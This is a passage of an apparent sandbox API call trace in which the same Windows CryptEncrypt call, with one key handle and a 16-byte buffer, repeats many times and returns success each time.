pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.530] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.530] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.530] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.530] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.530] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.530] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.530] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.530] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.531] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.531] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.531] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.531] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.531] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.531] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.531] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.531] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.531] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.531] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.531] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.531] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.531] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.531] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.531] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.531] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.531] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.531] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.531] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.531] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.531] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.532] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.532] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.532] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.532] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.532] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.532] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.532] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.532] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.532] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.532] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.532] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.532] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.532] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.532] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.533] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.533] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.533] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.533] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.533] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.533] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.533] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.533] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.533] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.533] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.533] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.533] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.533] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.533] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.533] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.533] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.533] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.533] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.533] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.534] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.534] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.534] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.534] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.534] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.534] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.534] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.534] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.534] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.534] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.534] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.534] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.534] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.534] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.534] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.534] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.534] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.534] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.534] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.534] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.534] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.534] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.534] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.534] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.535] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.535] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.535] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.535] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.535] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.535] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.535] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.535] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.535] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.535] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.535] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.535] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.535] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.535] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.535] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.535] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.535] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.535] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.535] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, 